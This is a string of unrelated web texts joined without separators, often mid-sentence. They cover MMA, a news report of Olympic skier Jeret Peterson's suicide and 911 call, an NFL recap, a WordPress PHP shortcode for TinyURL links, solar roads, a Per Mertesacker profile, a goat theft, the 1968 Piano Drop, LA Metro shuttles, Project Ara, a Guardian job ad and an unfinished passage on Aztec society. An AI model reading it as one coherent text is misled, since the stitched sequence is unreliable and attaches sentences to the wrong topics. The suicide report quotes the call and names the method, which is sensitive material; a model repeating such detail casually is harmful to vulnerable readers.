Thomson said Nurmagomedov’s success doesn’t surprise him because of the way in which he trains and approaches the sport. Thomson said the mental strength of Nurmagomedov can’t be compared to anyone he’s encountered, and because of that, he sees AKA getting another UFC belt in the near future.
“What he has, what I think a lot of people misunderstand, is that his mental (strength) is definitely what gets him through a lot of stuff,” Thomson said. “He understands his body can do everything that he wants it to do and can push harder than a lot of people’s bodies can. He reminds me of a 155-pound Frankie Edgar. There’s no quit in him. The wrestling is there, especially for MMA, and the conditioning is there. The mental toughness is definitely there.”
For more on Bellator 142, check out the MMA Rumors section of the site.U.S. Skier's Heartbreaking 911 "I'm Gonna Kill Myself"
Jeret Peterson's 911 Call -- 'I'm Gonna Kill Myself'
** WARNING -- THE 911 TAPE IS EXTREMELY EMOTIONAL AND VERY SAD **
skiercalled 911 moments before he committed suicide Monday... and while fighting back tears, the 29-year-old told the operator, "I'm going to kill myself."Peterson then gave his location to the operator and said, "I want police to come get the body." He then hung up the phone.Cops in Summit County, Utah responded to the spot where Peterson said he would be... and found the skier's body "obviously deceased from what appeared to be a gunshot wound to the head."According to the police report, obtained by TMZ, Peterson left a suicide note... but cops are not releasing it to the public.Peterson was one of the best freestyle skiers in the world. He competed in 3 Olympics for the U.S.... winning a silver medal in Vancouver in 2010.The San Diego Chargers are back! Well, they might be. It's entirely possible....heck, it's downright probable, that the Kansas City Chiefs are the worst team to play in the NFL in quite some time. They turned the ball over 4 times, not including a failed onside kick, and did next to nothing to stop the Chargers offense.
The reason that I sometimes worry about the Chiefs defense is simple. Tamba Hali and Justin Houston are very good pass rushers. Yet, for some reason, they disappear when they play the Chargers. There was no pass rush on Philip Rivers at all, leading him to complete 18 of 20 passes for 220 yards and 2 TDs (Don't worry, he still found time to throw a laughably bad interception in the end zone).
Here was his second TD pass to Malcom Floyd:
There was nobody there to stop the Chargers running game either, leading to Ryan Mathews, Jackie Battle and Ronnie Brown each finishing with more than 5 yards per carry.
Matt Cassel turned the ball over twice and mixed picture-perfect throws with wildly inaccurate throws that stalled nearly every Chiefs drive. He generally held on to the ball too long, but getting sacked in his own end zone was more the fault of his offensive coordinator (who called a play-action play in an area where you don't do that) than Cassel's.
Then there was the hit heard 'round the NFL. Jamaal Charles was trying to get a few extra yards when Donald Butler set his sights on him and left him limping into the locker room with a neck injury. Here's what the moment of impact looked like:
The rest, as they say, is history. Demorrio Williams picked off a pass that Dexter McCluster didn't want to catch (after being laid out by Atari Bigby earlier in the game on a similar pass) and outran a bunch of Chiefs players that didn't want to chase him for another touchdown. The blowout was official and Norv's wacky bunch gets to keep their coach for at least another week for a matchup against the Tampa Bay Buccaneers.
Is this the turning point? Can the Chargers really salvage this season? Could they be in first place in two weeks? Or was this simply the case of the Chiefs being better at giving games away than the Chargers?TinyURLs can be very useful when you have a long url to type into something like an iphone or some other mobile device where the keyboard is rather tedious. On a few of my sites I was looking for a way to automatically generate a tinyURL with the least amount of effort. Since I use wordpress for most of them I decided to go with a shortcode.
Shortcodes seem to be gaining a fair amount of attention in the wordpress community and with good reason. The Shortcode API, which was new in wordpress 2.5, is a simple set of functions for creating macro codes for use in your posts. Shortcodes are written by providing a handler function and they accept parameters too. Here is a wordpress shortcode to generate a tinyURL for a post.
//Generate Tiny URLS For A Post function get_tiny_url($arguments) { if(empty($arguments)) $url = get_permalink($post->ID); else $url = urlencode($arguments['url']); if($url) { $tiny_url = 'http://tinyurl.com/api-create.php?url='.$url; $new_url = file_get_contents($tiny_url); } else $new_url = "Error"; return $new_url; } add_shortcode('small_url', 'get_tiny_url');
[small_url] // or [small_url url='http://codytaylor.org']
If the url parameter is not defined then the function will attempt to use the wordpress function get_permalink($post->ID) which will return the current posts url. Also you can pass in a parameter if you want to show a tinyURL to another location. Using curl instead of file_get_contents would probably be faster but I didn’t want to make the example to long. The add_shortcode function is what tells the API to use the get_tiny_url function when it encounters the small_url shortcode. Note that this will call on the tinyurl api every page view so it would probably be prudent to set the tiny urls in the database so you only have to check once on a production site although I’m not sure if they expire or not.This shortcode can be called in the post by typing :Solar-generating roadways could soon be a reality on roads everywhere, thanks to new technology from Europe. According to Bloomberg, Colas SA, a subsidiary of France’s Bouygues Group has been working on solar panels that are tough enough to handle the load of an 18-wheeler truck – and are currently building them into some French road surfaces, with plans to test the technology across four continents in 2017.
These panels have already undergone five years of research and laboratory tests, but before they hit the roads in a major way, the company plans to test them further by building 100 outdoor test sites over the next year. “We wanted to find a second life for a road,” Colas SA’s Wattaway Unit chief technology officer told Bloomberg. “Solar farms use land that could otherwise be for agriculture, while the roads are free.”
How does a road made of solar panels withstand the weight of a massive semi truck, you might ask? According to Bloomberg, while the panels are made with ordinary solar cells such as those that might be on your roof, they are layered with several types of plastic on top to create a sturdy casing that can withstand abuse. It has electrical wiring embedded, and is coated with a layer of crushed glass to create an anti-slip surface.
Related: Solar Roadways unveils super strong solar panels for roads in a prototypical parking lot
Wattaway began testing the new product last month on a kilometer-long site in the French town of Tourouvre. At 2,800 square meters in area, the embedded solar panel array is expected to generate about 280 kilowatts of energy at peak capacity. The company says that’s enough power to provide public lighting for a town of up to 5,000 people for a whole year. They also told Bloomberg they intend to test the technology in Calgary, Canada, Georgia, USA, throughout the European Union, Africa and Asia, with plans to commercialize in 2018.
Add this innovation to Tesla’s solar roof and what Solar Roadways is doing in the U.S., and it’s been a good year for unconventional applications of solar power.
Via Bloomberg
Images via WattawayPer Mertesacker is a highly impractical man. He is the same height as a standard doorframe and has the acceleration of a cruise ship. With his colossal frame, his odd running style - which is strangely reminiscent of a mechanical tape measure being reeled in after having been stretched to its limits - and his resemblence to a tripod being knocked over by a gust of wind when making slide tackles, it takes some time not to be terrified by his awkward style.
Just as we took some adjusting to him, he took some adjusting to Arsenal and the league as a whole. His early days were hardly error fraught but there were some notable instances: namely the poor games against Blackburn, Chelsea and Norwich. Unfortunately for Mertesacker, these games were live on tv here, so many of those who saw him struggle ran this image of him. The reputation that was created here has since preceded him in the eyes many neutrals, and even some Arsenal fans - few of whom still remain.
Mertesacker is phenomenally underrated by the stupid and the easily-led. It’s easy to look at Mertesacker and see a slow, clumsy-looking defender and simply stick with that impression, as so many have done. A lot of Mertesacker’s better work does go unnoticed due to the fact that Arsenal are very rarely under the proverbial cosh, and so the maintenance of order and stability is taken more as a given. His positioning is habitually perfect, negating many of the problems his lack of pace causes.
"Centre back is difficult for people who come from abroad, it was a bit of a shock for him, but this season he has come back very fit, well prepared, and of course knew what the expectations were for him and did extremely well. This season especially, as you [the media] have noticed, he has been outstanding. The criticism was always completely unjust. It was overboard, we always say you have to deal with that." - Arsène Wenger
In some ways, Mertesacker epitomises Johan Cruijff’s idea that "The sports press often confuses speed with insight. See, if I start running slightly earlier than someone else, I seem faster". He is a fantastic organiser within the defence and his calmness spreads its way through the defensive unit and the team as a whole. His reading of the game is pristine, so much so that it is relatively rare to see him forced to go to ground to make tackles. He heads off most potential danger before it can become a cause for concern. So much of football relies on timing: Mertesacker’s is sublime. Many opposing forwards have found that it’s tough to outrun someone who knows their next move before even they’ve even made it.
The initial struggles of his first year have stuck in the minds of many far more than sustained good form from around October 2011 onwards, until his season-ending injury (with a brief lapse during The Great Full Back Crisis of January 2012). As he settled down, the team similarly settled with him, and while Thomas Vermaelen was injured, he built up his partnership with Laurent Koscielny. The Frenchman took deserved plaudits, but it was and is thanks to Mertesacker that we see Koscielny perform as well as he does. After the Spurs loss on 2nd October, Arsenal lost just one of the 12 games they played up until the turn of the year (away at Manchester City).
As the full back options began to fall away one by one he, with Koscielny, held the backline together admirably. That was until Mikel Arteta joined the ever-growing list of injured full backs and a illness-struck and visibly uncomfortable Mertesacker struggled with the rest of the depleted side.
"Maybe he is less elegant and the visual impression is less pleasing, but he is efficient and intelligent." - Arsène Wenger
The season-ending ankle ligament injury the German picked up on the especially battered potato field at the Stadium of Light was doubly unfortunate for him, as it coincided with the return of all the full backs. His loss was instantly felt: in the three games immediately after the injury, they conceded 8 goals, including the infamous 0-4 collapse away to AC Milan. The incredible disarray and panic that embraced the Arsenal defence that night illustrates just how greatly needed Mertesacker is.
The injury curtailed any selection anxieties Arsène Wenger would have once he had all his defenders fit again until the start of the new season. Common logic dictated that the new captain Vermaelen would be a certified started and that coming off such an impressive 11/12, Kosicelny would be his partner. But this is Arsenal; we can plan as intricately as we like (sometimes) but the world will still find a way to screw us over.
In this case it actually worked in our favour, to a point. Koscienly’s injury kept him out of the first two games of the season, allowing Mertesacker the chance to re-earn his place. As part of the so-called ‘Steve Bould Effect’, the defence was sitting deeper and with Arteta and Abou Diaby in front of it, it was better protected. Mertesacker shone brightest, holding the whole operation together with a tranquil disposition that had not been nearly as prominent in his first season.
"Perhaps Per Mertesacker [is underrated] because people think he looks tall and slow, but he’s a very intelligent player, clever and always trying to help his teammates. He’s always training hard and keeping up the good work. I think he’s much better than people think." - Mikel Arteta
This was the main difference between the Mertesacker of 11/12 and 12/13. In the former, he had been thrown into a team in a mess with a back four which was rarely the same from one week to the next. Many of those later made to fill in at full back needed extra protection as they were often not playing in their natural positions. All at the same time, he was having to adjust to the league and its style, while the midfield in front of him had to go through a similar process of learning itself. The only instances of trouble Mertesacker has had this season are when he has had his control of the situations at hand taken from him, usually by the defensive line being pushed unnecessarily high.
Vermaelen looked, at first, to be reveling and sharing in the newly-found tranquility in the defence, but began to lose his way. The issues with the balance in the defence are far better explored in this - in very short summary, Vermaelen’s overexuberance combined with Mertesacker’s lack of mobility led to bad things. Real bad things. Alongside the cleverer and better Koscielny, the balance is perfect. In being able to cover what the other cannot, they bring the best from each other. Their record together says all it needs to: they played 9 of the final 10 games together and in those Arsenal conceded just four times. One from a direct free kick, two penalties and just one - when already 3-0 up against Reading - from open play.
"Per is a very good player. He reads the ball well. He is clever, attacks the ball and wins headers whereas I can go behind and be quick and cope with the long balls. He is good technically so he is good for the defence. Per is calm on the pitch. He is good for me, he uses his experience, this helps me, and he helps the team." - Laurent Koscielny
Despite having started 33 league games (and coming off the bench for one other), he committed just 12 fouls all season. His only proper mistakes: against Spurs at home, Swansea away in the FA Cup and the red card against West Brom all came from the aforementioned occasional issue of the defence pushing excessively far up the pitch. His lack of pace only becomes a problem if Arsenal make it one and for most of the season, it was no problem at all.
He will still have his undue detractors but their numbers are ebbing away. The willfully blind will clutch onto their prejudices and refuse to climb from the holes into which they have thrown themselves, but those who watch Mertesacker and those who know will continue to be proved right over the years to come. In his own words, he has "become an integral part of the team, and earned respect." Arsenal finally have the defensive stabiliser they have needed for so long.When Georgia police caught three boys loading a stolen goat into the bed of a pickup truck, one of the thieves said that he was planning to ask his girlfriend, “Will you goat with me to the prom?”
Jacob Michels, 17, is obviously a boy with a sense of humor but police didn’t find the joke funny.
Michels and his two buddies, Brendan Lawler, 17, and Walker Boston, 17, are being charged with “theft of livestock,” according to WSB-TV.
A neighbor spotted the boys when his dogs started barking. He noticed them loading something into a truck and alerted them that he had a shotgun before calling police in Milton.
Michels told police that he planned to only take a photo of the goat and use it in the prom proposal, but then why did he need to load the goat into the truck?Now that the orgy of insufferable hipsterism known as Coachella is finally behind us, it’s officially music-festival season, when hundreds of concerts will take over entire cities, towns, parks, and fields across the United States. As everyone knows, events like Lollapalooza, Lockn’, and Bonnaroo follow in the grand tradition of the Woodstock Music & Art Fair held in August of 1969. That’s when a dairy farmer from Bethel, New York, named Max Yasgur opened his pastures to half a million unwashed flower children and hippie-wannabes.
“The Piano Drop definitely started Woodstock. In our own minds, of course.”
Actually, Woodstock was not the first outdoor festival to feature multiple bands over several days performing on a stage set up out in the middle of a farmer’s field. In fact, the organizers of Woodstock may well have taken their cue from the Sky River Rock Festival and Lighter Than Air Fair, held over Labor Day weekend of 1968, a full year earlier. At Sky (short for Skykomish) River, some 20,000 people descended on Betty Nelson’s organic raspberry farm in Sultan, Washington, to turn on, frolic naked in the mud, and tune into the music of 20 or so bands and performers, playing everything from folk and blues to jazz and rock. A young Richard Pryor was there (his debut comedy album would be released that November), as was the Grateful Dead, whose unscheduled appearance on the last day of the festival was as big a surprise to the concert’s exhausted and bewildered promoters as it was to the appreciative crowd.
Whether Woodstock would have happened without Sky River is, of course, anybody’s guess, but Sky River absolutely would not have happened without an even less-heralded event called the Piano Drop, a one-day Dadaist spectacle held on April 28, 1968, in a tiny town (its population was just 455) northeast of Seattle called Duvall. As the name of the event suggests, the Piano Drop featured a dropped piano (which organizers hoped would land on a specially prepared wood pile with a resounding crash), plus music by Country Joe and the Fish. Depending on whom you talk to, at least 3,000 and as many as 5,000 people showed up for this experiment in sonic mayhem.
“It was, like, a happening, you know?” says Joe McDonald today. “We didn’t do a lot of artsy happening things,” he adds, “but I was personally open to all sorts of crazy kinds of ideas, so I wouldn’t have objected to that.”
The impetus for this particular crazy idea is a matter of low-key debate among Piano Drop historians and those who were there. The “official” history of the Piano Drop, as chronicled by the late writer, artist, and political activist Walt Crowley in “Rites of Passage: A Memoir of the Sixties in Seattle,” credits artists and musicians Gary Eagle and Larry Van Over (aka Jug, for the jug band he played in) for the idea. Everyone agrees on that, but exactly what inspired them is tougher to pin down. According to Crowley, Van Over and Eagle were listening to a radio show one night when the station aired a recording of 200 “revelers” dismantling/destroying a piano with sledge hammers. Apparently, wrote Crowley, the two friends were disappointed with the “aural experience” and thought they could do better.
That may be true, but today, almost half a century later, Gary Eagle says it was only part of the story. “Well,” he begins, “it was a few things. We were hauling a piano through the Central District of Seattle one time and it fell off the truck. We thought that it sounded kind of cool when it hit the pavement. So we were playing the piano one night, trying to figure out how to replicate all the noises. We were pretty loaded, but we decided that if we dropped it, it would make this huge boom, and that would really be cool. So we went around Seattle trying to find a hall that would let us drop a piano in it. But they wouldn’t do it, especially when it was a bunch of crazy hippies asking. So we decided, hell, Larry has this piece of property out in Duvall, we’ll just do it there.”
“I had purchased a three-acre piece of property in Duvall,” confirms Van Over, “where I was building a house for myself, just to see if I could do it, you know? That became the site for the Piano Drop.”
At the time, Eagle was working for an alternative newspaper called the “Helix,” whose editorial DNA revolved around civil rights, ending the war in Vietnam, sex, drugs, and rock ’n’ roll. In his capacity as the paper’s editor and publisher, Paul Dorpat actually found himself involved in that last arena quite a bit, promoting local bands like Magic Fern and national acts like Country Joe and the Fish at Seattle’s Eagles Auditorium. When Dorpat heard about Larry Van Over and Gary Eagle’s planned Piano Drop, he knew right away it was something “Helix” readers would get behind.
“We embraced it very early,” Dorpat recalls, “and then at some point I got ED Denson to go along with making Country Joe and the Fish the musical draw.”
“ED was our manager,” explains McDonald, “and I guess he talked to Paul. I just sort of went wherever the band went and did whatever was supposed to be done.”
As luck would have it, the “Helix” already had a benefit scheduled for itself and alternative FM radio station KRAB (the station that had aired the piano-and-sledge-hammer concerto) for the weekend of April 21. In no time, the benefit was repositioned as the first of two fundraisers—a ticket stub from the April 21 event got you into the Piano Drop for free, otherwise the latter would cost you a buck. Country Joe and the Fish were already booked into Eagles Auditorium on Friday, April 26, and Saturday, April 27, so for them, playing the Piano Drop only meant hanging around in the Seattle area for one extra day, which was anything but a hardship. “We had a lot of fun up there,” says McDonald of Seattle in the late 1960s. “It was another hippie Mecca.” The stars, as they say, had aligned for the quixotic spectacle that Van Over and Eagle figured might draw 300 kindred weirdoes.
Having the “Helix” in his camp gave Van Over the modest amount of seed money he’d need to purchase a used piano ($25) and rent a helicopter (that cost another $100). Details are sketchy, but by that morning, people were starting to stream in by the thousands, clogging narrow Cherry Valley Road for miles leading to what became known as Jug’s Ravine. Fortunately, Country Joe and the Fish had arrived early (“I remember being there, but I don’t remember driving there,” says McDonald), which allowed them to set up their amplifiers and instruments on the makeshift stage that had been set up steps from the rear end of the band’s equipment truck. Sometime around 1 p.m., the Fish began their set.
Meanwhile, Van Over decided it would be a good time to drop a hit of acid, since all he had to do that day was pay the helicopter pilot at Boeing Field the hundred bucks he had brought along for this solemn purpose, and then hop into the chopper’s cockpit for the 20-miles-as-the-crow-flies flight back to Duvall.
“It was kind of a wild ride—I was pretty disconnected,” Van Over allows. “And by the time we got out there, there were 3,000 people underneath us, which made the pilot very nervous. He hadn’t expected that. He said, ‘I can’t fly over these people with a piano,’ and I said, ‘Why?’ And he said, ‘Because it’s dangerous!’ And I said, ‘They’ll part like the Red Sea the minute you come over the hill with that piano hanging underneath you.’ I got out, he hooked up the piano, and when he picked it up and started flying over the crowd, they just split, like in the movies. It was really a wonderful scene.”
“If that’s true, then I was the hand of God,” says Dorpat, who was the day’s emcee. Until the arrival of the helicopter, Dorpat’s duties had been to introduce Country Joe and the Fish and then step to the side of the stage and enjoy the music. Once the helicopter appeared, though, he was the guy whose job it was to keep innocents out of harm’s way.
“I tell you, it was damn frightening,” he says, “because it was my responsibility to move people away from the wood pile, which was considered an appropriate target for dropping a 500-pound piano on, if you ever plan to do that. Because the pile was all pieces of wood, if the piano hit it squarely it would make a wonderful crashing sound—and scatter all the pieces into the audience.” The pilot, it seems, was not the only one with a slight case of the nerves.
By now, around 3 p.m., Country Joe and the Fish had stopped playing, and most people agree on what happened next. “I remember a helicopter coming overhead with a piano underneath it,” McDonald says. “It was kind of swaying back and forth. I thought to myself, ‘It’s time to drop that thing and go home.’”
“He tried to stop directly above the log pile,” says Van Over, “but the piano just kept dragging him.” “When the helicopter was up there,” Dorpat confirms, “and the piano started to sway, the helicopter started to sway, too. And they sort of swayed below and above one another—you didn’t know which one was in control. At one point a little piece of paper fluttered down (I’m not sure what that was about), and then the thing was let go.”
According to Crowley’s “Rites of Passage,” the swaying of the helicopter and the piano below it caused the pilot to panic. He “hit the harness release, but nothing happened. He then hit the emergency cable release, and the piano snapped free.” In his poetic telling of what happened next, Crowley describes the piano making a “lazy arc through the bright spring sky.” But Dorpat recalls a different set of sensations. “When I saw that thing fall, my heart went from my chest straight into my head, just like that,” he says. “The cliché of being caught by surprise, of having your heart go up into your throat, was exactly how it felt. And I thought, ‘My God, I hope it doesn’t hit anybody,’ because I had just spent 20 minutes trying to get people to move back and make a larger, safer area around the target.” Which the piano spectacularly missed.
“After the pilot dropped the piano,” says McDonald, “it landed in a grassy area without hardly making a sound.” By now, the helicopter was long gone. And then, as McDonald and everyone else remember it, “people rushed down to the piano and started tearing it apart to get souvenirs. Pianos are pretty well put together. I remember thinking that it would be hard to tear a piano apart with your bare hands, but that’s what they were doing. It’s hard to completely destroy a piano by dropping it,” McDonald adds, “unless you drop it from a couple of thousand feet. But then it might land on somebody. But I don’t know—that sounds pretty dangerous.”
In the end, the piano dropped uneventfully and safely, while the event itself and lure of Country Joe and the Fish raised $875 each for “Helix” and KRAB, which is not too shabby when you remember that the event’s organizers were only expecting 300 people to show up. But the bigger impact was the almost immediate planning that began on Sky River. “If we could get 5,000 people for one band, how many could we get for 20?” asks Van Over today, echoing the question that was on everyone’s mind. “So the Piano Drop was the prototype for the Sky River Rock Festival, although it certainly didn’t start out that way.”
“It’s amazing that we did a festival as ambitious as Sky River that fall,” agrees Dorpat. “The Piano Drop was very much the trigger, proving that it would be possible to do an outdoor concert, and perhaps a multi-day concert, with more than one band.”
“We had no idea what we were doing,” admits Gary Eagle, who along with Van Over helped build the Sky River stage that Santana, the Grateful Dead, Muddy Waters, and Big Mama Thornton would perform on four short months later, “but it came off great and everybody had a good time.”
“Some people think Sky River gave birth to all that stuff back east,” muses Van Over, “so we’re saying the Piano Drop definitely started Woodstock. In our own minds, of course.”
(Special thanks to Scott McDougall.)As Los Angeles’s rail network continues to expand, Metro is considering new ways to ferry riders to and from major stations, and to compete with popular ride-hailing services like Uber and Lyft. One idea: a “MicroTransit” system that would allow users to flag down shuttles using an on-demand pickup function that could be accessed using mobile devices.
Metro plans to investigate this possibility further through a pilot program overseen by the agency’s Office of Extraordinary Innovation. In an interview with The Source, project manager Rani Narula-Woods says that Metro is looking for a private partner to help get the new service off the ground.
If the program goes into effect on a citywide level, it would be a little pricier than the standard $1.75 fare for Metro buses and trains, but Narula-Woods says the MicroTransit shuttles would be more affordable than a trip made through a ride-hailing app.
The MicroTransit system would rely on vehicles larger than a personal automobile, but much smaller than a city bus. And unlike buses, these vehicles would not travel along a fixed route with designated stops. Instead, routes would be adjusted based on where passengers are located and where they need to go.
Using smartphones, riders would be able to pay for trips and get real-time updates on pickup times and trip length estimates. According to Narula-Woods, riders “without smartphones or bank accounts” would also be able to use the service, though details on how that would work are a little hazy right now.
As Metro ridership continues to fall, agency officials have suggested that the convenience of ride-hailing apps may be drawing some riders away from buses and trains (though several other key factors may also be to blame).
But Narula-Woods says the MicroTransit idea isn’t about competing with companies like Uber and Lyft. “There’s a place for private mobility services to operate alongside publicly provided services,” she tells The Source. “We see a new transportation technology that has changed how many people travel, and we owe it to our customers and the taxpayers to be asking whether it, or any new technology, can play a positive role in Metro’s overall service.”Now playing: Watch this: What's the future of Google's Project Ara modular phone?
At its annual developer's conference today, Google announced that its long-awaited modular phone will be available to developers by the end of this year. And if everything stays on schedule, consumers will be able to get their hands on it by 2017.
Known as Project Ara, the handset will have detachable hardware components that you can swap out according to your needs. This allows users to customize their device according to their preferences (for instance, someone who enjoys photography can choose a camera module with a higher megapixel count and superior sensors) and let them upgrade certain parts whenever they see fit.
The concept of a modular phone has been a long-awaited dream for the mobile industry. LG's latest G5 flagship, for example, has a swappable bottom bezel that users can switch out for a camera grip. Project Ara has been around since 2013, when it was first announced by Motorola (which Google later acquired and then sold to Lenovo). Though Google announced a pilot program for Project Ara in Puerto Rico, market testing never fully took off.
With this announcement at I/O, Project Ara inches ever closer to becoming a reality. Google even released a new video to promote the initiative. Developers can sign up online to receive a model.
For more about Google I/O 2016, check out CNET's full coverage here.Summary and purpose of role: We believe the open exchange of information, ideas and opinions has the power to change the world for the better. Our independent journalism holds power to account across the globe and brings information that’s suppressed into the public domain. This openness allows us to provide our readers with the broadest possible perspective: the whole picture.
Guardian News & Media is now seeking an enthusiastic Arts Fellow to work with the Arts & Culture team, to produce content in a variety of formats across our digital platforms.
PERSON SPECIFICATION
Key responsibilities and duties:
• Pitching ideas for exciting and interesting stories to the Guardian US arts desk
• Writing news articles, reviews, features and conducting interviews
• Producing clean, accurate material on breaking news to deadline
• Ensuring that published material is kept up to date with the latest information
• Monitoring social media for conversation-starting stories and reactions, and developing these as news stories or in other formats for theguardian.com
Skills and behaviors:
• Experience as a reporter on a college and/or local newspaper, or blog or news website
• Sound experience in a variety of digital storytelling formats
• Excellent knowledge of news sources and social media
• Ability to work to deadlines and deliver stories and work on time
• Interested and passionate about key arts areas (film, TV, music) and ideally with knowledge of others (books, stage, art and design)
• An understanding of the Guardian US’s arts coverage and editorial values of the Guardian
The fellowship program will run from May through November 2017 (approximately 6 months depending on start date) and is open to graduates of undergraduate and graduate schools.
This is a paid internship, and you will work approximately 40 hours per week.
All fellows must be authorized to work in the United States and live within a commutable distance from the area in which the role is based.
Deadline for receipt of application is Friday, March 10, 2017.
Guardian News & Media is an equal employment opportunity employer, and does not discriminate on the basis of race, color, religion, gender, sexual orientation, marital status, age,
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come from where. Aztec society was not isolated from the larger Mesoamerican context, and in fact, most aspects of it were similar in structure to what existed in the surrounding societies.[1]...
Aztecs [ edit ]
The definition of the term "Aztec" which will be applied here is that of Michael E. Smith.[2] He defines "Aztec" as including all the Nahuatl speaking peoples of central Mexico, that is in opposition to a definition restricting the term "Aztec" to cover the inhabitants of Tenochtitlan or the parties in the Aztec Triple Alliance. This definition is referring to specific circumstances of one particular Aztec group it will be done with the ethnonym referring specifically to that group e.g. Mexica for the inhabitants of Mexico-Tenochtitlan, Tlaxcaltecs for those from Tlaxcallan and so on.
Social organization [ edit ]
The most basic social division in Aztec society was that between nobles (Nahuatl pīpiltin) and commoners (Nahuatl mācehualtin). Nobles held a large number of privileges not shared by the commoners, most importantly the right to receive tribute from commoners on their land. Commoners on the other hand were free to own and cultivate land and to manage their own possessions, while still completing the services required by their lords and their calpulli, such as tribute payment and military service. Mobility between the two social layers was difficult, but in practice both the commoner and noble groups were structured into finer hierarchies and a high degree of social mobility was possible within a given layer. For example, the pochteca, long distance traders, were considered commoners yet at the same time held a number of privileges comparable to those of the lesser nobility.
Calpulli [ edit ]
The calpulli (from Nahuatl calpulli meaning "big house") was a political unit composed of several interrelated family groups. The exact nature of the calpulli is not completely understood and it has been variously described as a kind of clan, a town, a ward, a parish or an agriculture based cooperative.[3] In Nahuatl another word for calpulli was tlaxilacalli – "a partition of houses".
The calpulli was ruled by a local chief (calpuleh), to whom its members were normally related. He provided the calpulli members with lands for cultivation (calpullālli) or with access to non-agricultural occupations in exchange for tribute and loyalty.[4]
The calpulli ran a temple for adoration of the calpulli's deity and also a school called the Telpochcalli where young men were trained, predominantly in martial arts. In some Aztec citystates calpullis practiced a specialized or specific trade, and these calpullis functioned something like a medieval trade guild. This was the case in Otompan[5] and in Texcoco and Tlatelolco.[6] Other calpullis were composed of immigrant groups from other areas of Mesoamerica who settled together. There is evidence that Tenochtitlan had calpullis composed of Otomis, Mixtecs and Tlapanecs.[7]
Altepetl [ edit ]
The altepetl (from Nahuatl āltepētl "water-mountain") was a city-state composed of several calpullis and ruled by a tlatoani. The altepetl was the unit that held sway over a given territory and defended and possibly expanded it by military might. The tlatoani was the head of the most influential calpulli, often because of having the most prestigious lineage.[8] The word altepetl, however, did not only refer to the area but also to its population, and altepetl affiliation is thought to have been the primary criterion for ethnic divisions in Mesoamerica – rather than linguistic affinities.
Family and lineage [ edit ]
Family and lineage were the basic units of Aztec society. One's lineage determined social standing, and noble traced their lineage back to the mythical past, as they were said to be descended from the god Quetzalcoatl.[9] Prestigious lineages also traced their kin back through ruling dynasties, preferably ones with a Toltec heritage. The extended family group was also the basic social unit and living patterns were largely determined by family ties, because networks of family groups settled together to form calpollis. Lineage was traced through both the maternal and paternal lines, although with a preference for paternal lineage.
Marriage [ edit ]
Aztec marriage practices were similar to those of other Mesoamerican civilizations such as the Mayans. Aztecs married at a later age, during their late teens and early twenties, whereas in Mayan culture it was not unusual for marriages to be arranged by parents for a son and daughter who were still children. Aztec marriages were initiated by the parents of the potential groom. After consulting with the extended kinship group, the parents would approach a professional matchmaker (ah atanzah), who would approach the potential bride's family. The parents of the young woman would advise the matchmaker whether or not they accepted the proposal. Brides were expected to be virgins before marriage, although young people of both sex were advised to be celibate.[10]
Political organization [ edit ]
James Lockhart, who specializes in the historical description of the Nahua, said Aztec society was characterized by a "tendency to create larger wholes by the aggregation of parts that remain relatively separate and self-contained brought together by their common function and similarity".[11] This understanding entails a social stratification that is built from the bottom – up, rather than from the top – down. Aztec hierarchy by this understanding was not of the type "where a unit of one type – the capital – controls subordinate units of another type"[12] but instead a type where the main unit is composed out of several constituent parts.
Alliances and political hegemony [ edit ]
Altepetl states would normally strive to dominate neighboring altepetl through warfare. Weak altepetl would be subjugated by stronger ones and made to pay tribute. Often subordinate altepetl would form alliances in order to overthrow a dominant altepetl. Some alliances were short-lived and others were long term relationships wherein a group of altepetl would converge to form what could almost be considered a single political entity. One example of a long term alliance between independent city-states would be that between the four altepetl of Tlaxcallan, Ocotelolco, Tizatlan, Quiyahuiztlan and Tepeticpac, which is normally thought of as a single entity even though it had four independent rulers and a certain level of internal competition.[13] Another is the so-called Aztec Triple Alliance between Tlacopan, Texcoco and Tenochtitlan which was originally formed to end the dominance of the altepetl Azcapotzalco. The Aztec Triple Alliance eventually achieved political hegemony and control over the greater part of Mesoamerica, becoming known to posterity as the Aztec empire. Recent studies have countered the claim that the Aztec Empire ran the triple alliance by suggesting that Tenochtitlan was actually the dominant altepetl all along. [14]
Economics [ edit ]
The economic practices of the Aztec relied upon both trade and military conquest. Furthermore, each Altepetl usually produced some form of unique trade good, meaning there were significant merchant and artisan classes. While the Aztec traded with each other and others for goods and services, agricultural trade was less common, leading to a large class of agricultural laborers.
Agriculture [ edit ]
The pre-conquest Aztecs were an empire that prospered agriculturally, and they did so without the wheel or domestic beasts of burden. They primarily practiced four methods of agriculture: rainfall cultivation, terrace agriculture, irrigation, and Chinampa.
The earliest, and most basic, form of agriculture implemented by the Aztecs is known as “ rainfall cultivation.”
The Aztecs implemented terrace agriculture in hilly areas, typically in the highlands of the Aztec empire. Terracing allowed for an increased soil depth and impeded soil erosion. Terraces were built by piling a wall of stones parallel to the contour of the hillside. Dirt was then filled in, creating viable, flat farmland. There were three distinct types of terrace, each used for specific circumstances: hillslope contour terraces (steeper slopes), semi-terraces (gentle slopes, walls were made with Maguey plants rather than stones), and cross-channel terraces.
In the valleys of the empire, irrigation farming was used. Dams diverted water from natural springs to the fields. This allowed for more regular harvests because the prosperity of an irrigated field was not dependent upon the rain. Irrigation systems had been in place long before the Aztecs. However, they built canal systems that were longer and more elaborate than any previous irrigation systems.[citation needed] They even managed to divert a large portion of the Cuauhtitlan River to provide irrigation to large areas. The network of canals was very complex and intricate.
In the swampy regions along Lake Xochimilco, the Aztecs implemented a unique method of crop cultivation, chinampas. Chinampas, areas of raised land in a body of water, were created from alternating layers of mud from the bottom of the lake and plant matter/other vegetation. These “raised beds” were between 2 and 4 meters wide, and 20 to 40 meters long. They rose approximately 1 meter above the surface of the water, and were separated by narrow canals, which allowed farmers to move between them by canoe. The chinampas were extremely fertile pieces of land, and yielded, on average, seven crops annually.[citation needed] In order to plant on them, farmers first created “seedbeds,” or reed rafts, where they planted seeds and allowed them to germinate. Once they had germinated, they were re-planted on the chinampas. This cut the growing time down considerably.
Aztec farmers could be divided into general laborers and specialists. General laborers could be slaves, menial workers, or farm hands, while specialists were responsible for things like choosing the most successful seeds and crop rotations.[15]
The Aztecs are credited with domestication of the subspecies of wild turkey, Meleagris gallopavo, which is native to this region.[16]
Warfare [ edit ]
